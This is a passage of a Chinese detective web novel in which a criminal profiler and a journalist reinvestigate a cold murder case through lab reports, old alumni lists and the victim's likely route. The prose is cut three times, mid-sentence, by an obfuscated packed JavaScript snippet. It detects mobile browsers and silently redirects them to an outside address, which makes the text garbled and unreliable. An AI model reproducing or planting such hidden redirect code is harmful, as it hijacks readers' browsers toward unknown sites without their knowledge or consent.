“哈哈,就是那天我师傅知道他们夫妻俩要去大栅栏逛街采买,特意带着我也在同一时间去了,就是为了给我上课的。”秦梓需解释道,“我说这个故事,是想说明人心隔肚皮这件事。人的思想,如流水,转瞬即逝。它可能屡次复现,促使你做出某种举动,也可能就此溜走,你再也想不起来。 “犯罪心理学,只能从宏观上去总结罪犯行为背后的心里成因,但不是万能的,不能说就是这世间真理,可以笼罩所有人。每个人内心深处最为幽微的想法,我们根本无法洞察,哪怕是身边最亲近的人,也不能,何况是我们这些隔了许多层的人。 “我师傅给我上的最重要一课就是,不要迷信犯罪心理学,一定要重视证据,在没有证据和亲口证词之前,一切都只能是推测,可以随时被推翻。 “在那之后,我就强迫自己不轻易下结论,我更像是一个摄影师,我会记录下我所接触到的人的所有影像,他们的微表情、动作,也许能在某种程度上反映当时他们的想法,但我会告诉我自己,我无法推测较长时间段之中此人的恒常想法,因为思想无形善变,只有行为举动可以观察。” 章弥真道:“我懂了,你的意思是,我对于马军心理的揣测,只是出于我自己经验的推想,并无任何实证价值?” 秦梓需点头:“对,你可以这么去想,但要放在一边,不要让这种揣测带跑了你的思想,如果因此去专门找证据来验证你的想法,那就是先射箭再画靶了。何况就目前我们查到的情况来说,马军到底是怎么想的,他和陈老师之间到底是否有龃龉,都不能说与案件直接相关,他毕竟在爆燃案中已经去世了,他无法去影响三年后发生的铁道抛颅案。” “确实。”章弥真若有所思。 秦梓需却话锋一转道:“但你对赵蕾来信去向的判断应当没有错,所有赵蕾寄给陈老师的信,应该都已经被毁了,只剩下这唯一一封幸存的。我会把这封信送去化验,提取指纹和生物检材,希望能有更多线索。 “此外,我觉得我们可能有必要去一趟云南,我推测,也许陈老师寄给对方的信仍有可能保存下来。” “可我们又不知道那个人是谁?” “没关系,去了之后,我们应该很快就能知道了。”秦梓需戴着手套,举起了那朵紫云英干花。 17.第十七章(投雷加更No.3) 二人的讨论结束,章弥真继续埋头忙她自己的工作。 秦梓需检查了一下陈老师的遗物,挑出了陈老师的备用眼镜、那本狄金森诗集以及信,往痕检实验室送去。 她刚到实验室门口,恰逢刘雪莹从里面出来,一打眼瞧见秦梓需,她道: “咦?秦老师,有事?” “你忙完了啊?” “对,刚忙完,但报告要出来得等明天了。”刘雪莹道。 “有什么新发现吗?” 刘雪莹道:“现在还很难说,毕竟那个包也有很多年了,其上留下的生物痕迹大多失效了,我能做的就是化学分析。我现在唯一能说的,就是当年检测到的硫化物再次被验证,这些硫化物遍布包的外表,尤其是底部比较密集,这个包显然曾被放在泥土和植被密集的地面上,尽管后来被用水冲过,植物痕迹被洗掉了,但硫化物还是残留了下来。 “此外,您说的锶同位素检测,下午也有好消息,刘总向部里申请了,部里说可以简化手续,就近安排做检测,那个国家级实验室就在东海市。刘总已经派人将检材加急送去东海市了,大概最快三周,能出成果。” “太好了!”秦梓需雀跃了一下,“那你说的硫化物,可以查出源头吗?” “以前可能不行,但现在可以做大数据比对。硫化物一般是小型冶炼厂排放出来的,现在合法工厂都已安装脱硫设备,当年取缔了相当多的无证黑作坊,环保部门应该都有记录,可以做一下交叉比对。如果花粉锁定范围内还存在这样的黑作坊,那就八/九不离十了。” 秦梓需心头一阵振奋,还是得靠现代科技啊!没有这些技术,这样疑难复杂的积案,哪里还能找到突破口? 正应了那句话:凡走过,必有痕迹。 “秦老师,您手里的这是什么?”刘雪莹见秦梓需带着手套,一直拿着一本本子和一个眼镜盒,不由得问道。 “这是……陈老师的遗物,我们下午刚刚从胥中找到的。得麻烦你查查看指纹和生物痕迹,尤其是这里面有一封信,很关键,寄信人很有可能就是抛颅案的受害人。” 刘雪莹神色一变,立刻接过来道:“交给我,我马上查。” “不好意思,还得让你加班。”秦梓需其实有些难开口,这毕竟六点多了,已经是下班时间了。 “您别客气,这案子我也特别想尽快看到结果呢。”说完她就又进了实验室,再次更衣,返回试验台。 秦梓需送完检材,回到办公室时,就看到章弥真面对着窗户做伸展运动。 “你干嘛呢?” “活动一下,免得犯困。”她头也不回地应道。 “你快回去吧,这会儿真的没事儿可干了,检验报告肯定得等到明天了。一切都得等报告出来后,才能下判断。”秦梓需拉开椅子坐下道。 “干啥赶我走啊?我还有事儿要和你商量一下。”章弥真回身看向她。 “什么?”秦梓需抬头等她下文。 “我打算发动一下我的人脉网,查查看当年补习机构都有哪些学生,我需要你把掌握的名单发我。” “这你都能查到?”秦梓需眼睛一亮。 “能!就是我需要一个合理的借口,我到现在还没想到合适的,你帮我想一下。”章弥真道。 秦梓需想了想,道:“你有对象吗?” “……没。”章弥真挑眉,然后立刻否决道,“不行,这个借口不行!” 秦梓需被她这么大的反应吓了一跳,她有些小心翼翼地道:“你知道,驱动人探听八卦的无非就那些东西,七大姑八大姨,最爱给小辈找对象、拉关系了,应该没有比这更合适的借口了。” “那这样,我就说是你秦老师想找对象,这样就没问题了。”章弥真忽而来了灵感,笑道。 “不行!”秦梓需连忙否决。 “为啥?你有对象了吗?看着不像啊……”章弥真满眼审视。 “我没对象,但我回来这件事,对我爸妈是保密的,我不想让他们知道。你要是传出去了,这七拐八绕的,岂不是让我爸妈知道了吗?”秦梓需道。 “干啥对爸妈保密呀?爸妈以后知道了岂不是很寒心?” “他们一直很反对我查当年的事,我考警校,是偷偷改志愿的,当年家里闹翻天了,爸妈甚至觉得我这辈子都被毁了……唉,这里面糟心的事太多了。”秦梓需现在回想起来还心有余悸。 “有这么夸张吗?”章弥真很不理解,“公安大学那也是顶尖大学啊,你现在的社会地位、待遇,各方面也没差到哪里去啊。” “她们俩……说好听点叫志存高远、望女成凤,说难听点,就是想脱离群众、成为新贵。”秦梓需道。 “妈耶,你这话严重了哦。哪有这样说爸妈的。”章弥真吓了一跳。 “我……唉,算了。”秦梓需只觉得千言万语堵在胸口,难以吐出,“我先把名单发你吧,在蓝信里。” 秦梓需低头操作手机,章弥真道: “那我就只能发挥特长了,没事,这部分我拿手,你等着吧,我估摸着很快能出结果。” 秦梓需将名单发过去后,踌躇着到底该不该继续询问章弥真为什么没对象,而且对此还很抗拒。但她感觉这个问题不礼貌,所以最后没问出口。 章弥真接收了名单,这名单只能在蓝信内部查看,她无法将其导出。 “得嘞,那我先回去了,咱们明天啥时候碰头?”她开始收拾自己的东西,看来她的紧急工作已经完成了。 “看群里消息,等检测报告出来,咱们再在这里碰头。”秦梓需道。 “行。” “我送你。” “不用,你要注意休息哦老秦,我走了。”章弥真背起自己的包,风风火火离开。 秦梓需站在窗口,目送楼下停车场上理想车的尾灯逐渐消失在远方,心中不由得有些感慨。今天这一天过得可太漫长了,以至于夜幕降临,让她有种过了一周即将迎来周末的错觉。 秦梓需坐回自己的位子,打开PAD,将自己手机里今天拍摄的证物照片同步到上面。她翻翻捡捡,最终定格在那张诗集、信件、花朵的合照之上。 她盯着那首名叫《请告知所有真相,但请曲折地说出》的诗看了一会儿,将照片画面分屏悬浮,然后打开了那个补习学校大堂的监控视频,盯着视频里红T恤牛仔裤的女子。 观察着她的一举一动,秦梓需陷入了沉思。 …… 章弥真驾车行驶在夜幕中的晚高峰街道上,一边顺着拥堵的车道缓慢前行,一边用蓝牙耳机打着电话。 “稿子我已经发给你了,你看一下,没问题就发。还有带货的样片,我看过了,可以润色的地方我发给大鹏了,让他尽快再剪一版出来,甲方那里已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044710|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经在催了。……好,姐你也辛苦了,我明早应该能先去一趟中心,有事儿明儿再谈。嗯,拜拜。” 终于挂了和吴岚的工作电话,她刚吁了口气,忽而又有来电进来,章弥真看着“妈妈”二字跃动在屏幕上,一时露出无奈的神色。 她还是接通了电话:“妈……” “咋了?声音听起来很累啊。” “嗯……最近工作比较忙。”章弥真道。 “你啊,注意身体,现在的年轻人感觉身体都还没我们老年人好呢。” 章弥真听母亲这话,嘴角抽抽,突然想起自己昨儿和今天都没去健身呢,一时又涌上了一丝无力感。 “前两天,妈妈给你发的那几位,你觉得如何?有没有相中的?”果不其然,母亲终于露出了“獠牙”。 “哎呀妈,我不是说了我很忙嘛,我哪有空去看那些。” “让你看几个人而已,看几个人的时间都没有啊?”母亲果然急了。 “我一个也没看中,要么是长得不符合我的审美,要么是个子太矮,要么是还没我赚钱多,歪瓜裂枣的。”章弥真锐评道。 “你挑什么,你都33了!” “妈,您再这样聊下去,我可要挂电话了啊。”章弥真半是撒娇,半是愠怒道。 “行,妈知道你们年轻女孩子现在讲究女性崛起,可再怎么崛起也得找对象吧,难道真的孤老一辈子啊?妈都快被你急死了,你说你这么好的条件,怎么就不肯结婚的呢?” “我是事业型女人,和我结婚的男人,必须甘于主持家务,而且还要长得符合我的审美。而且生不生孩子,什么时候生孩子,也是我说了算。我可以赚钱养家,让他躺平,我的要求就这些,达不到我就不结婚,半点我也不妥协。您再帮我物色物色?”章弥真似笑非笑地道。 “我的闺女啊,我当初就不该让你出国……”母亲果然再次痛心疾首起来。 “妈,我开车呢,不能分心,我挂电话了。最近很忙,周末我不回家吃饭了。”说着,章弥真就率先挂断了电话。 车内寂静下来,章弥真本来疲惫的身心变得越发烦躁起来。她想起了刚才和秦梓需之间的对话,要她用“找对象”的借口来打探消息,开什么玩笑,她真的会没命的! 她现在正是被催婚得最厉害的时期,每天除了烦工作,最烦的事就是家里催婚。她不想结婚,因为觉得自己根本不是个属于家庭的女人,和一个男人绑定在一起实在是束手束脚,难受至极。 她人生到如今谈过两个男朋友,都是因为受不了她的强势性格而分手的。脱离小女孩心性后,她也逐渐习惯了不追求情感体验,她的世界里已经没有爱情的一席之地,只剩下理性与狼性。 事业才是她毕生的追求,爱情无法刺激她的多巴胺,但工作能激发她的肾上腺素,她觉得后者简直比前者爽出几十倍。 她励志要当一个独行侠般的女人,路见不平拔刀相助。不过今天一天下来,她觉得老秦这人挺不错,和她搭档工作可太舒服了,就像蝙蝠侠和罗宾,福尔摩斯和华生,D大调与小提琴。 老秦也33了,她看上去也是个事业型女人,完全不会被男人牵绊的类型,这很对她的胃口。思及此,章弥真突然想起了秦梓需曾在烤肉店里不经意说出的一句话“我是真的爱她”。 恍惚间她好像明白了什么,心头缓缓蒙上一层氤氲的雾。 18.第十八章 章弥真以为自己今晚可能也会睡不着,可她躺上床后,翻来覆去想了一会儿案情,就突然被排山倒海的困意席卷,竟然昏睡了过去。 一夜乱梦,章弥真早间被闹钟吵醒时,只记得最靠近苏醒时的梦中桥段:她站在大坝上,大坝正在放水泄洪,水声震耳欲聋。远处的悬崖峭壁上,她好像看到了秦梓需,她正在和什么人打斗。 章弥真全程都很平静地观察着这一幕,没有一丝情绪波动,直至那悬崖上的二人从高处一起坠落,砸入下方的洪流之中。 她呆呆地坐在床上,思索这个梦的含义。总感觉这梦有种既视感,她应该是在哪儿见过。 刷牙时她灵光乍现,这不是福尔摩斯探案集里面的情节吗?福尔摩斯与莫利亚提教授在莱辛巴赫瀑布的悬崖边搏斗,双双落入水中。 怪了奇了,她怎么会把秦梓需联想到这种场景里,还有啊,秦梓需到底和谁在对决呢? 算了,反正梦都是光怪陆离的,章弥真也没太在意。 梳洗完毕,章弥真出家门,下到车库,坐在车里先查看了一下蓝信,秦梓需没有给她新的消息,于是她按照计划驱车前往数媒中心。 昨儿一天没来,工作室好歹是运行顺畅,就是临下班时出了点小状况,还是需要章弥真出手做事稳定局面。今早一到办公室,发现同事们也基本到齐了。 章弥真拿了自己的那份早饭,一边吃着,一边听同事们讲了讲昨天的工作。待到吃完,她道: “今天大家先紧着手头上没完成的事做,一会儿,我可能会给你们一些其他的活计,会耗费点额外的精力和时间,不过放心,这个月肯定会给大家加奖金。” 众人一时有些错愕,又有些期待起来。 他们今天看真老板来时,手里提着个大帆布包,里面鼓鼓囊囊的不知道装了什么,就觉得很新奇。 等章弥真返回工位,坐下来开始工作时,所有人都撺掇吴岚,让吴岚多注意观察真老板在干什么,然后在小群里通风报信。 章弥真没管手下人的鬼祟行为,她从帆布包里取出了三大本同学录,开始与昨天收到的补习机构名单核对起来。 她在昨晚睡前就把自己珍藏多年的同学录翻了出来,因为据公安调查,当年那所补习学校主要的生源都是附近高中的高三生,这所补习学校主要就是做高三冲刺辅导的。 由于公安查过的名单已经是被排除嫌疑的名单,章弥真认为线索要从这份名单之外去找。她感觉警方有可能并没有真正找准目标人群,因为这份名单是只反应当时还在补习班上课的学生。 案发时,已经是8月底,高考早已结束,上一届的高三生除了复读的,已经不会再在补习学校上课了。当时在补习学校里上课的人,应该都是下一届高三生。 可根据当时的监控录像,被害人在大堂等学生下课,一直等到学生都走光了,她也跟着走了。这个举动在章弥真看来,很像是在寻找她要找的人却没找到。会不会被害人要找的是上一届高三生,而不是这份名单中的人? 计算一下时间,05年毕业的高三生,其实不就是和自己还有老秦同届的学生嘛。 胥中附近的高中有六中、二十四中和胥城高级中学,当年她们这届从胥中毕业的初中生中,绝大部分都就近读了这三所高中,只有个别的尖子生去了顶尖高中——比如秦梓需去了最好的一中,一中在城南,就离得比较远了。 而像自己这样直接去了开发新区上私立外国语实验中学的,就更是少之又少。 当年的章弥真可是人缘极好、炙手可热的人物,临近毕业时,不只是同班同学,连隔壁班的同学都来给她留同学录,以至于她记了整整三大本的同学录。现在反倒成了第一手的资料了,而且她还在同学录里夹了当年的毕业照片。 照片里的同学她都能喊得上名字,她大概每年也会翻开来看看,所以她能第一时间认出秦梓需。 章弥真之所以这样死盯着学生的情况,是因为补习学校老师的情况相对稳定,流动并不频繁,警方查得比较细。补习学校一共9个老师,分别带九门学科,包括管理层、行政、后勤的,甚至打扫卫生的保洁员,这些工作人员的身家背景早就被查得一清二楚,当时的行踪轨迹也明明白白,已经是不会有任何漏洞的地步,所以也不必再查。 她全神贯注做事,不知道此时的吴岚瞄了一眼她的工位,在小群里发道:【看同学录呢。】 【同学录是啥?】孙影第一个真诚发问。 【天,你连同学录都不知道吗?你们那会儿难道都不写这个了?】刘为朗惊讶回道。 【就是毕业前,给同学写留言,2000年初那会儿特别流行。】吴岚解释道。 孙影发了个晕倒的表情,她确实不大清楚什么同学录,她初高中时,□□已经相当普及,人人网也大热,没有必要写这种东西。 【总感觉真老板要搞个大新闻。】大鹏发道。 【别瞎说,就咱老板那求真务实的做事态度,不是那种胡吹胡侃的主。】朱瑛道。 突然章弥真的手机响了,吓了吴岚一跳,也吓了外间大办公室所有人一跳。大家都竖起耳朵想听点内容,奈何章弥真带起了耳机,直接提溜着手机出了办公室,去了外面打电话。 来电是蓝信里的视屏会议通话邀请,章弥真知道是秦梓需的消息来了,赶紧离开,找了楼道里僻静的角落,接通了通话。 秦梓需、李之枚和刘雪莹三人的图像平均分割了画面的四个区域,秦梓需应该在市局办公室里,刘雪莹和李之枚的背景看上去像是实验室。秦梓需神色一如往常,但刘雪莹、李之枚面上明显有疲态,李之枚的脸上还有口罩的压痕。 “嘿,怎么样啊,看你们的样子好像……不大好呀。”章弥真打招呼道。 李之枚露出一脸苦笑道:“在法医实验室加班了,一晚上没睡,所以看上去不大好,不过放心,检验结果3天内应该能出来。” 刘雪莹也解释道:“我这里也差不多了,就等报告了,最快今天,最迟明天能出来。” 秦梓需接着道:“打这个视频就是跟你汇报一下进度,今天你可以不必跑市局了,咱们这里暂时没什么事可做。你那里有没有什么需要我们查的事?或者你查到了什么?” “我正准备查名单呢,没那么快出结果,诶,你有没有事做?没事做你过来帮我呀。”章弥真道。 “我上午来不了,我得去跑一下那家补习学校,大概下午能来,你给我个地址。”秦梓需道。 “好。” “那我们俩先下啦。”知道章弥真这里没什么新进展,刘雪莹、李之枚先下线了,她们还要继续返回实验室工作。 秦梓需与章弥真的二人视讯仍然继续: “那家补习学校居然还在吗?”章弥真一边给秦梓需发地址,一边有些惊讶地问道。 “楼还在,就是补习学校被更大的补习机构并购了,换招牌了,重新装修过,人员也都换了。”秦梓需道。 “那你去查什么呢?”章弥真疑惑。 秦梓需一时语塞,她想了一会儿,道:“我说了你可能不大懂,我需要一种临场感。有些问题我没彻底想明白,所以我想实地走走。” “哦,懂,你们搞犯罪心理的就是神神叨叨的,我在美剧里见过。”章弥真吐槽道。 秦梓需苦笑,她果然还是误解了。 “老秦,昨晚我有些想法,你帮我参考一下,看我这个思路对不对。”说着就把自己关于补习学校名单的推想都说了一遍。 秦梓需听得很认真,末了道:“你这个思路是对的,我和你想到一块儿去了。我昨晚一直在反复看那段补习学校的监控视频,我发现被害人有三次起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15049664|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,去到了传达室旁的宣传栏边,一直在反复看着什么。 “我感觉那好像是某种名单,或者是宣传资料,因为角度问题我看不清宣传栏上都贴了什么,好像有不少照片来着。她可能在上面找什么人。在她等到学生下课出来都走光后,她又去快速确认了一遍,然后离去。我认为她确实是在找某个学生,但没找到,然后离开了。” 秦梓需的肯定给了章弥真信心,她道:“那好,我就按这个思路查下去。我忙去了,咱们下午见。” “嗯,拜拜。” 二人结束通话,章弥真脚步飞快地赶回办公室。大家都探头探脑地看她,就见她又忙活起来,拿着同学录对照着微信和一份表格文档,在同学录上写写画画。忙了好一会儿,她点开自己的微信,在列表里翻找选中了一个人,然后给对方发了一条微信消息过去。 发完后,她对吴岚道:“姐,你认不认识和我年纪一样大的后辈,也是本地的,是六中、二十四中或者胥高毕业的。” 吴岚突然被cue,愣了好一会儿,才想到了一个人:“还真有呢,我印象中我老公大姐家的女儿,确实是胥高毕业的。但我记不清是不是和你一样大。怎么了?” “你帮我问问,确认一下是不是05年毕业的高三生,有没有在鸿鹄教育上过补习班?”说着她又起身到门口,对外面的几个人重复了一遍自己的要求,“你们也都帮我找找符合条件的人。” 众人都懵了,不知道真老板这是要干什么。 孙影弱弱举手:“真老板,这个我真的无能为力,我年纪小,家里也没有哥哥姐姐,我只能问问我爸妈,但估计戏不大。” 刘为朗也无奈道:“我也没办法,真老板,你知道我是外地人,我一个人来胥城工作的。” 朱瑛举手道:“我之前和一个企业老板闲聊时,对方好像提过他儿子是六中毕业的,可能确实也是三十多岁,我来问问。” 大鹏道:“我来问问我哥吧,他可能认识。” 章弥真道:“好,你们立刻联系,小影、阿朗你们过来给我打下手。” 二人被她叫进办公室,章弥真把拿出那三本同学录,交给两人道: “你们负责联系上面的人,这些人最新的联系号码我都用红笔在上面更新标注好了。我教你们话术,你们就说是东海日报工作人员,受市教育局委托,想对市民做一个问卷调查,以改进教育资源分配。 “然后编一个问卷,您是几几年高中毕业的?您高中在读期间是否上过补习班?您上的补习班是哪家机构?您觉得补习班对您成绩的提升作用大吗?您觉得付出的成本值得吗?就这么几个问题,先打电话,对方要是不接电话,就发短信,尽量得到反馈。” “真老板……这不违法吗?”小影看上去吓坏了。 “不违法,有事儿我担着,赶紧的。”章弥真催促道。 “真的不会被当成诈骗吗?”刘为朗有些抗拒。 “打不通或者被挂了,就隔段时间换号码打,尽量要获得对方反馈。实在打不通也没关系,别有压力。”章弥真安抚道。 刘为朗挠头,他不大擅长客服业务,不过真老板赶鸭子上架,他也只能硬着头皮上了。 二人坐下来,用东海日报数媒中心的座机开始打电话。好心的吴岚也放下手头的事去给这俩人帮忙。 章弥真回身查看消息,她刚发出去的那个微信消息,已经有了反馈。 章弥真:【柳大嘴,你不是号称“百晓生”吗?考考你啊,你知道你高中时,班里有多少人在鸿鹄教育补课的吗?】 【干啥,难不成你这大记者又要搞事情?】 【对,你要是能搞来,我给你报酬。】 柳鸣:【嘿,那你问对人了,你等着,我一会儿抽出手来给你整个名单。】 章弥真露出了笑容。 19.第十九章 秦梓需开着一辆低调的黑色途观公务车,停在了当年鸿鹄教育所在的大楼前。 这栋楼现在换上了新的招牌外立面——绿色的“树人教育”字样有些扎眼,当年鸿鹄教育那个标志性的黄底飞鸟logo已经看不到了。 秦梓需停好车,下车后步入了大楼。大楼入口的门已经改装成感应门,无需手动推拉。 这幢大楼门口没有保安室了,被快递柜和外卖柜取代,电梯间和楼梯间被电子闸机拦在内部,必须刷卡过闸机才能进去乘坐。闸机口坐着一位保安,对方正低头拿着手机打游戏,根本没注意秦梓需进来。 门口墙上挂着楼层分布图,上面列着这栋商务楼里所有的单位名称。 秦梓需粗略浏览了一下,发现树人教育占据了这栋楼的2—6层,这栋楼总共15层,上面的楼层散布着一些小型公司。 她拿出手机,将楼层分布图拍了下来。 秦梓需站在快递柜前,调出当年鸿鹄教育大堂的取景照片。这个快递柜所在的位置,当年就是告示栏所在的位置。 秦梓需默然抬头注视着快递柜,片刻后,她转身离开了这幢大楼。 【我没能找到我想找的人,我很失落很迷茫,现在我该去哪儿?】 站在大楼门口,她向左手侧望去,那里通往市中心最繁华的地带,密集大商场、写字楼和繁华街。她又向右手侧望去,那里通往大片的居民区,是胥城最普通寻常的市井地带,交错纵横的小街道如毛细血管一般分布下去,通向诸多小区、市场、棋牌社和小广场。 沿着道路走不了多久就会抵达胥江畔的人行步道,那里有迷人的江景,是散心的好去处。 【我应当会往胥江边上去,我需要一个安静的去处,整理思路。】 秦梓需转身向右,开始步行。周边的街道景象,分毫不差地被记录入她的眼球之中。 明显新开的连锁店被排除在外,但一些看上去开了很久的老店会被她特别留意。有一家开了二十年的包子铺,都九点多了,门前还排着长队。 【我很心烦,我寻不到想找的人,又渴又累,但不大能感到饥饿。我身上没有多少积蓄,吃不起洋快餐,可能会买馒头、包子垫两口,喝点矿泉水。】 秦梓需来到了一处岔路口,一时踌躇,不知该往哪里去。她取出手机查看地图,胥江边还需要向前走过两个街口右拐。 岔路向左则是往胥城中学的方向去。 秦梓需回忆卷宗记录,警方在得知被害人出现于鸿鹄教育后,排查过这附近绝大部分的旅馆,均未得到任何被害人入住的记录。 这意味着两种可能性,一、被害人可能是当天到的,随后就离去,未在胥城留宿。二、被害人压根就没有住宿旅馆的打算,她选择在其他的地方将就过夜。 不论是哪一种,都意味着她在胥城并未停留太长时间就遇害了。 【我要找的人已从胥中毕业,那里没有再去的必要。我决定还是往江边去,我热得慌,江风吹着能舒服些。也许我能找到一把长椅,躺下来眯一会儿。】 她继续迈步往前走,一直走过两个街口,终于右拐,一家医院进入视野——胥城市中心医院。这是一家三甲大医院,就坐落在胥江畔,走过这家医院,再往前行200米,就抵达滨江道了。 医院……秦梓需站在路口,望着市中心医院的红十字图标,陷入沉思。 【我也许感到不适,但应该没钱去看病,我会路过此处,继续往江边走。】 她缓步向前,路过医院门口卖鲜花的小摊,路过几家药店和小餐馆,街边的景象在她眼里逐渐变得虚化。秦梓需感觉自己的脚步迈不动了,她知道自己若再继续走到江边,一切都会结束,她将什么也推理不出来。 不对,有些细节我忽略了。她驻足思索。 2000年初,江边步道其实还未彻底开发出来,那会儿城市污染严重,胥江内爆发过蓝藻,水质很不好,散发着臭气。后来是经过大力整治,才恢复了清澈。沿江步道也是近十年开发出来的,成为了跑步圣地。 她又转身往回走,再次站在了医院门口。如果此前的推理没有错,被害人应该是来到过市中心医院的门口。 她在这里到底会怎么想?是否会改变主意,不去江边,而到医院里找个位置将就一夜,至少还能有空调吹,不会被蚊子咬。 秦梓需走了进去,门诊夜里是关门的,彻夜开门的是急症部大楼。站在急诊部大楼门口,她先就手拍了一张照。这楼并不高,也就三层,但占地面积不小。 她走进了急诊部大楼,观察了一下这里的构造。一楼接收120急救患者,有各种抢救室、检查室。二楼是急症病房和重症监护室,上去后就会直面导诊台和护士站。如若不是病人或看护家属,显然上去后若长时间滞留必然会引起护士注意,带来不必要的麻烦。 一楼靠近药房的地方设置有几排座位,是给病患和陪护者休息用的。 大堂四角安装有监控探头,秦梓需知道2000年初,医院也已经有探头了。但现在不可能还保留有当年的数据,当年的警方似乎并未查到市中心医院来,画像张贴后,医院内也没有人报过目击证词。 如果她真的在这里过了夜,应该不会没人在意吧。难道是我想错了? 她找了一个看上去年纪比较大的护士,询问道: “请问,这急诊部允不允许外来的人在这里过夜?类似于流浪乞讨人员。” 老护士很诧异地看她,秦梓需忙亮出警官证道:“我想查些事情,麻烦您了。” “哦,按理说,我们是不允许流浪乞讨在这里过夜的。但架不住忙的时候顾不上去管,偶尔还是会有一些外来的人在这里的椅子上过夜,不上前问,也弄不清楚他到底是来看病的还是来陪护的。人不多的时候,我们也就睁一只眼,闭一只眼了,就当行个方便。”老护士倒是答得很实在。 秦梓需将被害人的画像从手机相册里调出来,亮给对方看:“这个画像您有印象吗?05年的时候,曾经张贴得满城都是,是一个失踪人员。” 老护士眯着眼仔细盯着看了半晌,道:“好像是见过这么个画像来着,但这也太久了,记不清了。” “您对这个人有没有印象呢?” 老护士笑了:“我连这画像有没有见过都记不清了,更别说真人了。” “好吧,谢谢您的配合。”秦梓需无奈收回了手机。 老护士抱歉一笑,转身去忙了。 秦梓需又在大堂里转了一会儿,想来就算被害人来过这里,在无目击证人和监控记录的情况下,确实是无法被证实了。而且这么长时间过去了,她留在这里的生物痕迹,也必然全都消失了。 秦梓需并未气馁,她在备忘录里记了一条:被害人可能来过市中心医院,未留下目击记录。 顺着这条思路想下去,假设被害人确然在医院里过夜,第二天一大早就出去了,她接下来会去哪儿?秦梓需认为最迟第二天,她就将遭遇凶手并遇害。 思路在此卡住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15053661|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,秦梓需只能再往下列出疑点:凶手在何处接触到被害人? 这个问题可以再往上追溯:凶手是通过何种途径盯上了被害人,对她产生杀心?(若被害人当真是赵蕾,联系到陈老师丢失的与赵蕾之间的来往书信,凶手可能通过陈老师含有被害人照片的书信认出被害人。) 如若排除在大街上偶然遭遇被盯上这种概率极小的情况,大致可以分为三种: 一、凶手可能在鸿鹄教育门口就认出了被害人,跟踪了上去。二、凶手可能在被害人休息的地方(医院)认出了被害人,主动与其搭讪。三、凶手可能在更早的时候就在某种尚未知晓的场合盯上了被害人,并一直对她进行跟踪,酝酿杀人计划,寻找下手时机。 秦梓需认为,如果被害人当真在医院过夜,那么第二日她离开医院后,应该不久就遇害了。监控录像是8月28日的下午拍到了被害人出现在鸿鹄教育的大堂,头颅是31日早上7点发现的。凶手能够杀死被害人,处理尸体的时间只有29日、30日这两日。 凶手如果不是早有预谋,做了周密计划,决计不能在这么短的时间里,了无痕迹地处理掉一个大活人。即便如此,2天时间也很紧张了。所以,不论如何,被害人遇害的时间不会晚于29日,应该最有可能死于28日晚或29日早些时候。 确定以上推论后,再来讨论列举出的三种情况。 这三种情况,分别代表着凶手不同的心态、不同的身份背景。在不讨论极小概率事件的前提下,凶手会在补习机构门口盯上被害人,意味着凶手时常出入补习机构。 医院同理,至少他会经常出入医院。这一点很关键,因为被害人是被乙/醚迷晕的,这种管制药物只有医药背景的人比较容易能得手。只是从凶手砍下头颅那粗暴笨拙的手法来看,此人应当不曾经历过外科手术训练,但具备一定的医药学知识。 而第三种情况则更为恐怖,若他很早就意识到有被害人这么一个人的存在,那么就意味着他早就在筹谋灭口杀人的计划。用心之险恶,细思骇然。 不论是哪一种情况,联系到凶手很可能没有运尸的交通工具,都意味着他不可能遇到被害人后,直接对被害人动手。他一定是用某种理由把被害人骗走了,骗到第一案发地点才下了手。 出租车可以排除,暴露的可能性太大了。凶手的策略一直是混入人群,减小自己被目击和记忆的概率。那么,他们很可能是搭乘公共交通一起离开的。 秦梓需出了医院,便看到了医院门口的公交站台。她突然意识到自己刚才迈不动步子的原因在哪里了:她忽略了公交站台。 秦梓需走过去查看站牌信息,她从鸿鹄教育那栋大楼走到这里来的这段路,恰好是这站牌上几乎所有公交线路都会走的一段路。 但她不能确定这些线路05年时是否也是这样走的,这么多年过去了,线路拆除或新设,都很正常。她需要去公交集团查证一下。 于是她给站牌拍了个照。拍照时,她的眸光定格在8路车的线路标示图上,印象中这路车是胥城最老的几条线路之一,一直以来都忠实地运营在同一条线路上。 这附近城市道路的变化并不大,想来,15年前8路车应该也是走的这条线。8路车以车次频繁出名,如果被害人在这里上车,那么单纯从概率学的角度考虑,上8路车的可能性最大。 秦梓需直接去看8路车终点站:天平山国家森林公园。 她眸光定格在这个名字上,感觉到针刺般的寒意爬上脊背。 20.第二十章 